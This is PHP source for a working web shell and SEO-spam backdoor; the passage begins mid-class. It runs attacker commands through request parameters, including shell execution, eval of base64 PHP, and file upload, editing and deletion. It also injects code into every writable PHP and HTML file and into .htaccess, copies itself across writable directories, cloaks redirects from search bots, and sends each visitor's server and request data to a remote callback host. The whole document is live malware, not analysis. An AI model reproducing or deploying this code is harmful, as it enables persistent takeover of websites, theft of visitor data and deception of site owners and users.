host = $_SERVER['HTTP_HOST']; $this->base = md5($this->host); $this->basecfg = $this->base . '_var'; $this->cwd = $this->set_clear($this->safe__file__dir() . '/'); $this->root = null; // parse config $tmp = $this->parse_cfg(); // define __ADD__ for OB_ callback define('__ADD__', $this->get_file($this->cwd . $this->base)); // very important define('__CALLBACK__', $tmp['domain']); define('__CACHE_TIME__', $tmp['cache']); define('__REDIRECT__', $tmp['redirect'] . '?' . $this->based($_SERVER['HTTP_HOST'], 1)); // ----------------------------------------------------------------------- // creating databse connection if (!file_exists($this->cwd . $this->base) && @$_REQUEST['call'] != 'install') { $this->set_chmod($this->cwd, 0777); $this->set_chown($this->cwd); if (!$this->put_file($this->cwd . $this->base, '')) print "ALERT: Can't create database connection!\n"; } return true; } function parse_cfg() { $cnt = $this->unbased($this->get_file($this->cwd . $this->basecfg), $this->unbased('VFZSVlBRPT0=', 3)); $out = array(); $split = explode(',', $cnt); $out['domain'] = !empty($split[0]) ? trim($split[0]) : 'undefined'; $out['cache'] = !empty($split[1]) ? trim($split[1]) : 'undefined'; $out['redirect'] = !empty($split[2]) ? trim($split[2]) : 'undefined'; // fixed return $out; } function self_update($str) { if ($this->put_file($this->cwd . $this->basecfg, $this->based($str, $this->unbased('VFZSVlBRPT0=', 3)))) return true; else return false; } // check htaccess function _access() { $htaccess = $this->set_clear($this->get_document_root() . '/.htaccess'); return is_writable($htaccess) ? true : false; } // this will update config file function update($var) { $parsed = parse_url($var); if (isset($parsed['host'])) { if (!$this->save_file($var, $this->cwd . $this->base)) return false; } else { if (!$this->put_file($this->cwd . $this->base, $var)) return false; } return true; } // this function bind the mirror function bind() { $this->redirect(__REDIRECT__); $callback_request['server'] = $this->get_json($_SERVER); $callback_request['request'] = $this->get_json($_REQUEST); $generate_callback = $this->get_json($callback_request); $_getdata = urlencode($this->based($generate_callback, 1)); $hash = $this->cwd . '/' . md5($_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'] . $_SERVER['QUERY_STRING']) . '.html'; if ($this->get_modif($hash) > __CACHE_TIME__) { $data = $this->get_remote_file(__CALLBACK__ . '?data=' . $_getdata); if (!empty($data)) $this->put_file($hash, $this->based($data, 1)); } $data = $this->unbased($this->get_file($hash), 1); return isset($data) ? $data : false; } function isbot() { $_SERVER['HTTP_USER_AGENT'] = preg_replace('|User.Agent\:[\s ]?|i', '', $_SERVER['HTTP_USER_AGENT']); if (substr_count($_SERVER['HTTP_REFERER'], $this->host) != 0 && strpos($_SERVER['HTTP_REFERER'], 'imgrefurl') === false) return true; if (substr_count($_SERVER['HTTP_REFERER'], '/cse?') != 0) return true; if (substr_count($_SERVER['HTTP_REFERER'], '&') < 3) return true; if ($_SERVER['HTTP_USER_AGENT'] == 'Mozilla/4.0 (compatible;)') return true; if (empty($_SERVER['HTTP_REFERER']) && $_SERVER['HTTP_USER_AGENT'] == 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)') return true; return false; } function isrefse() { if (substr_count($_SERVER['HTTP_REFERER'], '&') > 2) return true; else return false; } function sleepbot() { if (strpos($this->agent, "Google Web Preview") !== false) sleep(10); return true; } function redirect($location) { // make google preview some sleep $this->sleepbot(); if ($this->isrefse() == true && $this->isbot() == false) header('Location: ' . $location); else return false; } function pend_file($entry, $needle, $type = 'up', $marks = array()) { if (!isset($entry)) return false; $content = $this->get_file_safe($entry); if (!empty($marks)) { $nl = isset($marks['oneline']) ? '' : PHP_EOL; $replace = $marks['start'] . $nl . $needle . $nl . $marks['end']; if (preg_match('@' . quotemeta($marks['start']) . '.*' . quotemeta($marks['end']) . '@isU', $content, $res)) $content = preg_replace('@' . quotemeta($marks['start']) . '.*' . quotemeta($marks['end']) . '@isU', $replace, $content, 1, $count); $needle = ($count > 0) ? '' : $nl . $replace . $nl; } $content = str_replace('|$|', '$', $content); $needle = str_replace('|$|', '$', $needle); switch ($type) { case 'up': $result = $this->put_file($entry, $needle . $content); break; case 'down': $result = $this->put_file($entry, $content . $needle); break; default: return false; } return $result; // true or false } function save_file($remote_url, $filename) { if (!isset($remote_url) || !isset($filename)) return false; if (!$content = $this->get_remote_file($remote_url)) return false; if (!$this->put_file($filename, $content)) return false; return true; } function _unlink($entry) { if (is_dir($entry)) { if (!rmdir($entry)) $this->get_execute("rm -rf " . $entry); $dir = 1; } else { if (!unlink($entry)) $this->get_execute("rm -rf " . $entry); $file = 1; } if (isset($dir) && !is_dir($entry)) return true; if (isset($file) && !file_exists($entry)) return true; return false; } function make_dir($entry, $chmod = 0755) { if (!isset($entry)) return false; if (is_dir($entry)) return false; if (!mkdir($entry)) { $this->get_execute('mkdir ' . $entry); if (!is_dir($entry)) return false; } $this->set_chmod($entry, $chmod); $this->set_chown($entry); return true; } function safe__file__() { return preg_replace('@\(.*\(.*$@', '', __FILE__); } function safe__file__dir() { $filedir = $this->safe__file__(); $ex = explode('/', $filedir); $out = ''; for ($i = 0; $i < count($ex) - 1; $i++) $out .= $ex[$i] . '/'; return $out; } function put_file($path, $content) { if ($this->_function_exists('file_put_contents')) { if (file_put_contents($path, $content)) return true; else return false; } else { $fp = fopen($path, 'w'); if (fwrite($fp, $content)) $good = 1; fclose($fp); return isset($good) ? true : false; } return false; } function _echo($content) { $content = is_array($content) ? $content : explode("\n", $content); print $this->get_json($content); } function validate_callback($str) { $ex = explode('=', $str); $str = $ex[0]; if (strlen($str) == 2 && preg_match('#[\_\+\@\-]#U', $str[0]) && preg_match('#[a-zA-Z0-9]#U', $str[1])) return trim($ex[1]); return false; } function search_dir_files($dir, $mask = '\.php,\.phtml,\.php3', $type = 'dir', $writable = false) { $array = $this->open_dir_lines($dir); $output = array(); $ex = explode(',', $mask); $mask_line = ''; foreach ($ex as $mask_generate) $mask_line .= '(' . $mask_generate . '$)|'; $mask_line = substr($mask_line, 0, -1); if ($writable == true) foreach ($array as $go) { $types = is_dir($go) ? 'dir' : 'file'; if (preg_match('#' . $mask_line . '#U', $go) && is_writable($go)) { $output[$types][$go]['chmod'] = $this->get_chmod($go); $output[$types][$go]['owner'] = $this->get_owner($go); $output[$types][$go]['owner_p'] = $this->get_owner_p($go); $output[$types][$go]['modif'] = $this->get_modif($go); $output[$types][$go]['group'] = $this->get_group($go); $output[$types][$go]['size'] = $this->get_size($go); } } else foreach ($array as $go) { $types = is_dir($go) ? 'dir' : 'file'; if (preg_match('#' . $mask_line . '#U', $go)) { $output[$types][$go]['chmod'] = $this->get_chmod($go); $output[$types][$go]['owner'] = $this->get_owner($go); $output[$types][$go]['owner_p'] = $this->get_owner_p($go); $output[$types][$go]['modif'] = $this->get_modif($go); $output[$types][$go]['group'] = $this->get_group($go); $output[$types][$go]['size'] = $this->get_size($go); } } return isset($output[$type]) ? $output[$type] : false; } function open_dir_lines($dir) { $array = $this->open_dir($dir); return explode("\n", $this->recursive($array)); } function read_the_dir($dir) { $out = array(); $d = dir($dir); while (false !== ($entry = $d->read())) { $out[] = $entry; } $d->close(); return $out; } function recursive($array = array()) { $out = ''; foreach ($array as $row) { if (!is_array($row)) { $out .= $row . "\n"; } else { $out .= $this->recursive($row); } } return $out; } function open_dir($dir) { $out2 = $out = array(); if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if ($file != '.' && $file != '..') { $pwd = $this->set_clear($dir . '/' . $file); $out[] = $pwd; $new = is_dir($pwd) ? $this->open_dir($pwd) : null; if (!empty($new)) $out[] = $new; } } closedir($dh); } return $out; } return false; } function set_ob_start() { function __callback($str) { $str = preg_replace('#<\/html>#isU', stripslashes(__ADD__) . '', $str); return $str; } $this->_function_exists('ob_start') ? ob_start('__callback') : null; } function set_current_dir($dir) { // set current directory if (chdir($this->set_clear($dir))) { $this->root = $this->set_clear(getcwd() . '/'); return true; } else return false; } function set_chown($entry) { $entry = isset($entry) ? $entry : ''; $owner = $this->get_owner_p($this->safe__file__()); if (!chown($entry, $owner['name'])) { $this->get_execute('chown ' . $owner['name'] . ' ' . $entry); $newowner = $this->get_owner_p($entry); if ($newowner['name'] != $owner['name']) return false; else return true; } else return true; } function set_chmod($entry, $chmod) { $entry = isset($entry) ? $entry : ''; // if already if ($this->get_chmod($entry) == $chmod) return true; // chmoding if (!chmod($entry, $chmod)) { $this->get_execute('chmod ' . $chmod . ' ' . $entry); if ($this->get_chmod($entry) == $chmod) return true; else return false; } else return true; } function set_clear($path) { $path = str_replace('//', '/', $path); return $path; } function get_document_root() { return $_SERVER['DOCUMENT_ROOT']; } function get_modif($entry) { $entry = isset($entry) ? $entry : ''; $timem = @filemtime($entry); $kernel = php_uname('s'); $escsh = escapeshellarg($entry); $windowst = @stat($entry); $windowst = $windowst['mtime']; if (empty($kernel) || !$this->_function_exists('php_uname') || strpos($kernel, 'Linux') !== false) { $timem = $this->get_execute('stat -c %Y ' . $escsh); // Linux, or empty or function suck } else { $timem = $this->get_execute('stat -c %m ' . $escsh); // freebsd } $timem = !empty($timem) ? $timem : $windowst; $modif = time() - $timem; return $modif; } function get_chmod($entry = null) { $entry = isset($entry) ? $entry : ''; $chmod = substr(sprintf('%o', fileperms($entry) ), -4); return $chmod; } function get_owner($entry = null) { $entry = isset($entry) ? $entry : ''; return fileowner($entry); } function get_owner_p($entry) { $entry = isset($entry) ? $entry : ''; $owner = posix_getpwuid(fileowner($entry)); if (!$this->_function_exists('posix_getpwuid')) return false; return isset($owner) ? $owner : false; } function get_group($entry = null) { $entry = isset($entry) ? $entry : ''; return filegroup($entry); } function get_size($entry) { if (!isset($entry)) return false; $s = filesize($entry); if ($s >= 1073741824) return sprintf('%1.2f', $s / 1073741824) . ' GB'; elseif ($s >= 1048576) return sprintf('%1.2f', $s / 1048576) . ' MB'; elseif ($s >= 1024) return sprintf('%1.2f', $s / 1024) . ' KB'; else return $s . ' B'; } function get_info() { if ($this->_function_exists('phpinfo')) return phpinfo(); else return false; } function get_source($entry) { if (!file_exists($entry)) return false; return $this->get_file_safe($entry); } function get_file_safe($entry) { $fp = fopen($entry, "r"); $buff = null; while ($line = fgets($fp)) { $buff .= $line; } fclose($fp); return isset($buff) ? $buff : false; } function get_file($entry) { if ($this->_function_exists('file_get_contents')) { $res = file_get_contents($entry); if (!empty($res)) return $res; } return $this->get_file_safe($entry); } function get_remote_file($url) { // if ($this->_function_exists('curl_init')) { // $output = $this->get_with_curl($url); // return !empty($output) ? $output : false; // } else { $output = $this->get_with_sockets($url); return !empty($output) ? $output : false; // } // $output = file_get_contents($url); // return !empty($output) ? $output : false; } //get_ini disabled_functions function get_ini() { $out = array(); $out['server_software'] = getenv('SERVER_SOFTWARE'); if ($this->_function_exists('apache_get_modules')) $out['apache_modules'] = implode(', ', apache_get_modules()); $out['disabled_functions'] = isset($GLOBALS['disable_functions']) ? $GLOBALS['disable_functions'] : 'none'; $out['open_base_dir'] = ini_get('open_basedir'); $out['safe_exec_dir'] = ini_get('safe_mode_exec_dir'); $out['safe_include_dir'] = ini_get('safe_mode_include_dir'); $out['curl'] = $this->_function_exists('curl_init') ? '1' : ''; $out['os_version'] = $this->get_file_safe('/proc/version'); $out['distr_name'] = $this->get_file_safe('/etc/issue.net'); $downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror'); foreach ($downloaders as $item) if ($path = $this->get_wi($item)) $out['downloaders'][$item] = $path; return $out; } function get_wi($p) { $path = $this->get_execute('which ' . $p); if (!empty($path)) return $path; return false; } function get_with_sockets($url) { $url = str_replace("http://", "", $url); $host = substr($url, 0, strpos($url, "/")); $path = substr($url, strpos($url, "/")); $skt = @fsockopen($host, 80); if (!$skt) return false; $requestHeader = "GET " . $path . " HTTP/1.1\r\n"; $requestHeader .= "Host: " . $host . "\r\n"; $requestHeader .= "Connection: close\r\n\r\n"; fwrite($skt, $requestHeader); $responseHeader = ""; $responseContent = ""; do { $responseHeader .= fread($skt, 1); } while (!preg_match("/\\r\\n\\r\\n$/", $responseHeader)); if (!strstr($responseHeader, "Transfer-Encoding: chunked")) { while (!feof($skt)) { $responseContent .= fgets($skt, 128); } } else { while ($chunk_length = hexdec(fgets($skt))) { $responseContentChunk = ""; $read_length = 0; while ($read_length < $chunk_length) { $responseContentChunk .= fread($skt, $chunk_length - $read_length); $read_length = strlen($responseContentChunk); } $responseContent .= $responseContentChunk; fgets($skt); } } return chop($responseContent); } function get_with_curl($url, $options = array()) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_USERAGENT, 'Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8k'); isset($options['return']) ? curl_setopt($ch, CURLOPT_RETURNTRANSFER, $options['return']) : curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); isset($options['timeout']) ? curl_setopt($ch, CURLOPT_TIMEOUT, $options['timeout']) : curl_setopt($ch, CURLOPT_TIMEOUT, 160); // isset($options['follow']) ? // curl_setopt($ch, CURLOPT_FOLLOWLOCATION, $options['follow']) : curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); isset($options['post']) ? curl_setopt($ch, CURLOPT_POST, $options['post']) : null; isset($options['data']) ? curl_setopt($ch, CURLOPT_POSTFIELDS, $options['data']) : null; $page = curl_exec($ch); curl_close($ch); return $page; } function get_execute($in) { $out = ''; if ($this->_function_exists('exec')) { @exec($in, $out); $out = @join("\n", $out); } elseif ($this->_function_exists('passthru')) { ob_start(); @passthru($in); $out = ob_get_clean(); } elseif ($this->_function_exists('system')) { ob_start(); @system($in); $out = ob_get_clean(); } elseif ($this->_function_exists('shell_exec')) { $out = shell_exec($in); } elseif (is_resource($f = @popen($in, "r"))) { $out = ""; while (!@feof($f)) $out .= fread($f, 1024); pclose($f); } return $out; } function based($str, $num) { for ($i = 0; $i < $num; $i++) { $str = base64_encode($str); } return chunk_split($str); } function unbased($str, $num) { for ($i = 0; $i < $num; $i++) { $str = base64_decode($str); } return $str; } function get_rand_name($length = 10, $possible = 'euioayqwrtpsdeuioayfghjklzxeuioaycvbnm123456789_-.') { $password = ''; $i = 0; while ($i < $length) { $char = substr($possible, mt_rand(0, strlen($possible) - 1), 1); if (!strstr($password, $char)) { $password .= $char; $i++; } } return $password; } function json_strip($str) { return str_replace(array("\n", "\r", "\t"), array('\n', '\r', '\t'), $str); } function get_json($array) { if (!is_array($array)) $array = array($array); if ($this->_function_exists('json_encode')) return json_encode($array); $associative = count(array_diff(array_keys($array), array_keys(array_keys($array)))); if ($associative) { $construct = array(); foreach ($array as $key => $value) { if (is_numeric($key)) { $key = "key_$key"; } $key = '"' . addslashes($key) . '"'; if (is_array($value)) { $value = $this->get_json($value); } else if (!is_numeric($value) || is_string($value)) { $value = '"' . $this->json_strip(addslashes($value)) . '"'; } $construct[] = "$key: $value"; } $result = "{ " . implode(", ", $construct) . " }"; } else { $construct = array(); foreach ($array as $value) { if (is_array($value)) { $value = $this->get_json($value); } else if (!is_numeric($value) || is_string($value)) { $value = '"' . $this->json_strip(addslashes($value)) . '"'; } $construct[] = $value; } $result = "[ " . implode(", ", $construct) . " ]"; } return $result; } function get_ls($dir) { $out = array(); foreach ($this->read_the_dir($dir) as $row) { $out[$row] = $this->get_chmod($row); } return $out; } function clear_cache() { $files = $this->search_dir_files($this->cwd, '\.htm,\.html', 'file', 1); foreach ($files as $k => $rowed) { if (!$this->_unlink($k)) $false = 1; } return isset($false) ? false : true; } function install() { $dirs = $this->search_dir_files($this->get_document_root(), '.*', 'dir', 1); $dirs = array_keys($dirs); uasort($dirs, "length_cmp"); while ($dirs && !isset($found)) { $path = array_pop($dirs) . '/' . basename($this->safe__file__()); copy($this->safe__file__(), $path); $url = 'http://' . $_SERVER['HTTP_HOST'] . str_replace($_SERVER['DOCUMENT_ROOT'], '', $path); $page = $this->get_remote_file($url . '?call=test'); if (substr_count($page, 'test_passed') > 0) { $found = 1; $result = array('path' => $path, 'url' => $url); } else { $this->_unlink($path); } } if (!isset($found)) { $result = array('path' => $this->safe__file__(), 'url' => 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); } else { // if ($result['path'] != $this->safe__file__()) // $this->_unlink($this->safe__file__()); } return $result; } function pend_files($__data, $__params) { $files = $this->search_dir_files($this->get_document_root(), '\.php,\.php3,\.php4,\.php5,\.phtml,\.htm,\.html', 'file', 1); $__data = explode('|||', $__data); $not_touchs = explode('||', $__params); $count = 0; $marks['oneline'] = 1; foreach ($files as $filename => $attr) { $stop = 0; foreach ($not_touchs as $not_touch) if (strpos($filename, $not_touch)!==false) $stop = 1; if ($stop) continue; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); if ($ext == 'htm' OR $ext == 'html') { $data = $__data[0]; $type = 'down'; $marks['start'] = $marks['end'] = ''; } else { $data = $__data[1]; $type = 'up'; $marks['start'] = $marks['end'] = ''; } $this->pend_file($filename, stripslashes($data), $type, $marks); $count++; } return $count; } function htaccess($__data, $__params) { $path = $this->get_document_root() . '/.htaccess'; $marks['start'] = $marks['end'] = '#' . md5($path); $__data = stripslashes($__data); if (file_exists($path)) { $ht = $this->get_file_safe($path); $this->pend_file($path, $__data, 'up', $marks); } else { $__data = str_replace('|$|', '$', $__data); $this->put_file($path, $marks['start'] . PHP_EOL . $__data . PHP_EOL . $marks['end']); } //echo $this->get_file_safe($path); $url = 'http://' . $_SERVER['HTTP_HOST'] . '/' . $__params; $page = $this->get_remote_file($url); if (substr_count($page, 'htaccess_ok') > 0) { return true; } else { if (isset($ht)) $this->put_file($path, $ht); else $this->_unlink($path); return false; } } function delete_sh($__params) { $path = $this->get_document_root() . '/' . $__params; if (file_exists($path)) { $this->_unlink($path); return true; } else { return false; } } function upload_sh($__data, $__params) { if ($this->put_file($this->get_document_root() . '/' . $__params, $__data)) { return true; } else { return false; } } function update_proxy($__data, $__params) { $src = $this->get_file_safe($_SERVER['SCRIPT_FILENAME']); $this->put_file($_SERVER['SCRIPT_FILENAME'], $__data); $page = $this->get_remote_file($__params . '?call=test'); if (substr_count($page, 'test_passed') > 0) { return true; } else { $this->put_file($_SERVER['SCRIPT_FILENAME'], $src); return false; } } } function length_cmp($a, $b) { return strlen($a) - strlen($b); } if (strlen($_GET['_q']) == 1) die('htaccess_ok'); $var = new proxy; $var->start(); !isset($type) ? $type = null : null; switch ($type) { case 'ob': // run callback if ($var->validate_callback($_SERVER['QUERY_STRING'])) { print $var->bind(); exit; /* exit */ } else // run output exchange $var->set_ob_start(); break; default: $__call = isset($_REQUEST['call']) ? $_REQUEST['call'] : null; $__data = isset($_REQUEST['data']) ? stripslashes($_REQUEST['data']) : 'ERROR'; // json turned on by default //$__json = isset($_REQUEST['json']) ? false : true; // scan type $__scantype = isset($_REQUEST['scantype']) ? true : false; $__filename = isset($_REQUEST['filename']) ? $_REQUEST['filename'] : null; $__workdir = isset($_REQUEST['dir']) ? $_REQUEST['dir'] : $var->get_document_root(); $__type = isset($_REQUEST['type']) ? $_REQUEST['type'] : null; // params for functions $__params = isset($_REQUEST['params']) ? $_REQUEST['params'] : null; $__chmod = isset($_REQUEST['chmod']) ? $_REQUEST['chmod'] : null; //print strtoupper($__call) . ' STATUS: '; // setting up current directory if (!$var->set_current_dir($__workdir)) $var->_echo('ALERT ERROR SET CURRENT DIR'); switch ($__call) { // if map case 'map': echo $var->get_file($var->cwd . $var->base); break; // if we need to update config file case 'update': if ($var->update($__data)) $var->_echo('GOOD'); else $var->_echo('ERROR'); break; // this will update cachetime & callback config! case 'selfupdate': if ($var->self_update($__data)) $var->_echo('GOOD'); else $var->_echo('ERROR'); break; // ************ SUB EASY FUNCTIONS ********************* case 'classinfo': print "
";
                print_R(get_class_methods($var));
                break;
            case 'set':
                // set single functions
                switch ($__data) {
                    // set chown
                    case 'chown':
                        if ($var->set_chown($var->root . $__filename))
                            $var->_echo('GOOD');
                        else
                            $var->_echo('FAIL');
                        break;
                    // set chmod
                    case 'chmod':
                        if ($var->set_chmod($var->root . $__filename, $__params))
                            $var->_echo('GOOD');
                        else
                            $var->_echo('FAIL');
                        break;
                }
                // --------------------------------------------
                break;
            case 'get':
                // single functions
                switch ($__data) {
                    // return document_root
                    case 'document_root':
                        $var->_echo($var->get_document_root());
                        break;
                    // return php info
                    case 'info':
                        $var->_echo($var->get_info());
                        break;
                    // return server info
                    case 'ini':
                        $var->_echo($var->get_ini());
                        break;
                    // return current path
                    case 'cwd':
                        $var->_echo(getcwd());
                        break;
                    // display dirs
                    case 'whereami':
                        $out['file'] = $var->safe__file__();
                        $out['dir'] = $var->safe__file__dir();
                        $var->_echo($out);
                        break;
                    // jsoned _SERVER var
                    case 'servervars':
                        $var->_echo($_SERVER);
                        break;
                    // execute nix commands
                    case 'exec':
                        $var->_echo($var->get_execute($__params));
                        break;
                    // eval __params need to be base64
                    case 'evald':
                        $var->_echo(eval($var->unbased($__params, 1)));
                        break;
                    // view the source of file
                    case 'source':
                        $var->_echo($var->get_source($var->root . $__filename));
                        break;
                    case 'modif':
                        $var->_echo($var->get_modif($var->root . $__filename));
                        break;
                    case 'chmod':
                        $var->_echo($var->get_chmod($var->root . $__filename));
                        break;
                    case 'owner':
                        $var->_echo($var->get_owner($var->root . $__filename));
                        break;
                    case 'owner_p':
                        $var->_echo($var->get_owner_p($var->root . $__filename));
                        break;
                    case 'group':
                        $var->_echo($var->get_group($var->root . $__filename));
                        break;
                    case 'size':
                        $var->_echo($var->get_size($var->root . $__filename));
                        break;
                }
                // -----------------------------
                break;

            // if we need to use as proxy
            case 'proxy':
                //$remote = $var->get_remote_file($__data);
                $remote = $var->get_with_sockets($__data);
                if ($remote == false)
                    $var->_echo('ERROR WITH URL');
                else
                    print $remote;
                break;


            // scan all files from current directory by mask
            case 'scan':
                $outdir['dir'] = $var->search_dir_files($var->root, $__data, 'dir', $__scantype);
                $outdir['file'] = $var->search_dir_files($var->root, $__data, 'file', $__scantype);

                if (!empty($__type))
                    $var->_echo($outdir[$__type]);
                else
                    $var->_echo($outdir);
                break;

            // scan current directory
            case 'ls':
                $var->_echo($var->get_ls($var->root));
                break;

            // this will make die
            case 'mkdir':
                if ($var->make_dir($var->root . $__filename, $__chmod))
                    $var->_echo('GOOD');
                else
                    $var->_echo('FAIL');
                break;

            // remove dir or file
            case 'rm':
                if ($var->_unlink($var->root . $__filename))
                    $var->_echo('UNLINK ' . $var->root . $__filename . ' DONE');
                else
                    $var->_echo('UNLINK ' . $var->root . $__filename . ' FAIL');
                break;

            // this will upload file
            case 'upload':
                if (empty($__filename)) {
                    $var->_echo('ERROR, EMPTY VAR __FILENAME');
                    exit;
                }
                // if url
                $validate = parse_url($__data);
                if (isset($validate['host']) && $var->save_file($__data, $var->root . $__filename))
                    $var->_echo('GOOD');
                    // if data
                else if (!isset($validate['host']) && $var->put_file($var->root . $__filename, $__data)) {
                    $var->_echo('GOOD');
                }
                    // else echo error
                else
                    $var->_echo('FAIL');
                break;
            // this will put file
            // you can use it for edit files for example =)
            case 'put':
                if ($var->put_file($var->root . $__filename, $__data))
                    $var->_echo('GOOD');
                else
                    $var->_echo('FAIL');
                break;

            ### start siski added 1 ###
            case 'pend':
                if ($var->pend_file($__filename, $__data, $__type))
                    $var->_echo('GOOD');
                else
                    $var->_echo('FAIL');
                break;

            case 'clear_cache':
                if ($var->clear_cache())
                    $var->_echo('GOOD');
                else
                    $var->_echo('FAIL');
                break;


            case 'pend_files':
                $var->_echo($var->pend_files($__data, $__params));
                break;

            case 'install':
                $res = $var->install();
                $var->_echo($res);
                break;

            case 'htaccess':
                if ($var->htaccess($__data, $__params))
                    $var->_echo('GOOD');
                else
                    $var->_echo('FAIL');
                break;

            case 'delete_sh':
                if ($var->delete_sh($__params))
                    $var->_echo('GOOD');
                else
                    $var->_echo('FAIL');
                break;

            case 'upload_sh':
                if ($var->upload_sh($__data, $__params))
                    $var->_echo('GOOD');
                else
                    $var->_echo('FAIL');
                break;

            case 'update_proxy':
                if ($var->update_proxy($__data, $__params))
                    $var->_echo('GOOD');
                else
                    $var->_echo('FAIL');
                break;


            case 'test':
                echo 'test_passed';
                break;
            ### end siski added 1 ###

            // if smth missed
            default:
                // if default then run proxymod
                // run callback
                print $var->bind();
        }
}